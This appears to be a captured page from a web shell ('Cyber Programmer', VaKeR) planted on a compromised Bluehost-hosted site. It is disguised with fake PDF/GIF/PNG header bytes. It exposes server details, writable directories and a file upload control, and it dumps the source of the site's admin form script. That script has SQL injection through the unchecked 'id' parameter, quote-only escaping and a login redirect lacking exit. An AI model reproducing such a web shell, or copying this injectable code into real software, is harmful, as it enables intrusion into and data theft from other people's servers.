%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6031bb72/admin/manage_home/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6031bb72/admin/manage_home/add_edit_request.php
<?php
error_reporting(0);
include("../function.php");
if ($_SESSION['admin_id'] == "") {
    header('location:../login.php');
}
$login_tbl = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM admin WHERE admin_id='" . $_SESSION['admin_id'] . "'"));

// Sidebar strat
include('../include/sidebar.php');
// Sidebar wrap
$id = $_GET['id'];
?>

<!-- [ Main Content ] start -->
<section class="pcoded-main-container">
    <div class="pcoded-content">
        <!-- [ breadcrumb ] start -->
        <div class="page-header">
            <div class="page-block">
                <div class="row align-items-center">
                    <div class="col-md-12">
                        <div class="page-header-title">

                            <div class="card-header d-flex justify-content-between">
                                <button class="btn btn-dark btn-sm btn-round fw-bold has-ripple text-white"><i class="feather icon-edit"></i>&nbsp; Add | Edit | Requests </button>
                            </div>
                        </div>

                    </div>
                </div>
            </div>
        </div>
        <!-- [ breadcrumb ] end -->
        <!-- [ Main Content ] start -->

        <div class="row">

            <div class="col-md-12">
                <div class="card">
  
                    <div class="card-body">
                        <?php if (isset($_SESSION['message'])) {
                            echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
                            <i class="feather icon-thumbs-up text-success"></i>&nbsp; &nbsp;<strong class="text-dark">' . $_SESSION['message'] . '</strong> 
                            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
                            </button>
                            </div>';
                        }
                        unset($_SESSION['message']);
                        ?>

                        <?php if (isset($_SESSION['img_error'])) {
                            echo '<div class="alert alert-danger alert-dismissible fade show" role="alert">
                            <i class="feather icon-alert-triangle text-danger"></i>&nbsp; &nbsp;<strong class="text-dark">' . $_SESSION['img_error'] . '</strong> 
                            <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
                            </button>
                            </div>';
                        }
                        unset($_SESSION['img_error']);
                        ?>
                        <?php
                        $fetQuery = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM request_tbl WHERE id='$id'"));
                        ?>

                        <form method="post" action="" enctype="multipart/form-data" autocomplete="off">
                            <div class="row">
                             
                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="form-label" for="Heading">Heading</label>
                                        <textarea name="heading1" rows="4" class="form-control"><?php if ($id != '') {
                                                                                                        echo $fetQuery['heading1'];
                                                                                                    } ?></textarea>
                                    </div>
                                </div>

                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="form-label" for="Heading Arabic">Heading Arabic</label>
                                        <textarea name="heading1_ar" rows="4" class="form-control"><?php if ($id != '') {
                                                                                                        echo $fetQuery['heading1_ar'];
                                                                                                    } ?></textarea>
                                    </div>
                                </div>

                                <div class="col-md-4">
                                    <div class="form-group">
                                        <label class="form-label" for="status">Status</label>
                                        <select class="form-select" name="status">
                                            <option value="1" <?= ($fetQuery['status'] == '1') ? 'selected' : ''; ?>>Show</option>
                                            <option value="0" <?= ($fetQuery['status'] == '0') ? 'selected' : ''; ?>>Hide</option>
                                        </select>
                                    </div>
                                </div>

                            </div>

                            <div class="row">
                                <div class="col-md-6">
                                <?php if ($id != '') { ?>
                                    <input type="submit" name="update" class="btn btn-success" value="Update">
                                <?php }else{ ?>
                                    <input type="submit" name="add" class="btn btn-success" value="Insert">
                                <?php } ?>
                                <a href="<?=$admin_url?>manage_home/request.php?page=request" class="btn btn-dark">Back</a>
                                </div>
                            </div>

                        </form>

                    </div>
                </div>
            </div>

            <!-- [ form-element ] end -->
        </div>
        <!-- [ Main Content ] end -->
    </div>
</section>


<?php include('../include/footer.php'); ?>

<!-- Add data start --->
<?php
if (isset($_POST['add'])) {

    $heading1 = isset($_POST['heading1']) ? str_replace("'", "\'", $_POST['heading1']) : '';
    $heading1_ar = isset($_POST['heading1_ar']) ? str_replace("'", "\'", $_POST['heading1_ar']) : '';
    $status = isset($_POST['status']) ? str_replace("'", "\'", $_POST['status']) : '';

    // $file_name1 = $_FILES['image1']['name'];
    // $file_tmp1 = $_FILES['image1']['tmp_name'];
    // $file_ext1 = strtolower(end(explode('.', $_FILES['image1']['name'])));
    // $random_number1 = rand();
    // $new_file_name1 = $random_number1 . '.' . $file_ext1;
    // $file_path1 = "../../images/Upload/opportunities/" . $new_file_name1;
    // move_uploaded_file($file_tmp1, $file_path1);

    $AddQry = mysqli_query($conn, "INSERT INTO `request_tbl` SET 
    `heading1`='$heading1',
    `heading1_ar`='$heading1_ar',
    -- `image1`='$new_file_name1',
    `status`='$status'") or die(mysqli_error($conn));
    if ($AddQry) {
        echo "<script>window.location='request.php?page=request';</script>";
        $_SESSION['message'] = "Record Insert successfully";
    }
}

?>
<!-- Add data warp --->

<!-- Update data start --->
<?php
if (isset($_POST['update'])) {

    $heading1 = isset($_POST['heading1']) ? str_replace("'", "\'", $_POST['heading1']) : '';
    $heading1_ar = isset($_POST['heading1_ar']) ? str_replace("'", "\'", $_POST['heading1_ar']) : '';
    $status = isset($_POST['status']) ? str_replace("'", "\'", $_POST['status']) : '';

    // $file_name1 = $_FILES['image1']['name'];

    // if (!empty($file_name1)) {
    //     $file_tmp1 = $_FILES['image1']['tmp_name'];
    //     $file_ext1 = strtolower(end(explode('.', $_FILES['image1']['name'])));
    //     $random_number1 = rand();
    //     $new_file_name1 = $random_number1 . '.' . $file_ext1;
    //     $file_path1 = "../../images/Upload/opportunities/" . $new_file_name1;
    //     $dlt1 = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `request_tbl` WHERE id='$id'"));
    //     $dlt_path1 = "../../images/Upload/opportunities/" . $dlt1['image1'];
    //     unlink($dlt_path1);
    //     move_uploaded_file($file_tmp1, $file_path1);
    //     mysqli_query($conn, "UPDATE `request_tbl` SET `image1`='$new_file_name1' WHERE id='$id'") or die(mysqli_error($conn));
    // }

    $editQry = mysqli_query($conn, "UPDATE `request_tbl` SET 
    `heading1`='$heading1',
    `heading1_ar`='$heading1_ar',
    `status`='$status' WHERE id='$id'") or die(mysqli_error($conn));
    if ($editQry) {
        echo "<script>window.location='request.php?page=request';</script>";
        $_SESSION['message'] = "Record Updated successfully";
    }
}

?>
<!-- Update data warp --->

VaKeR 2022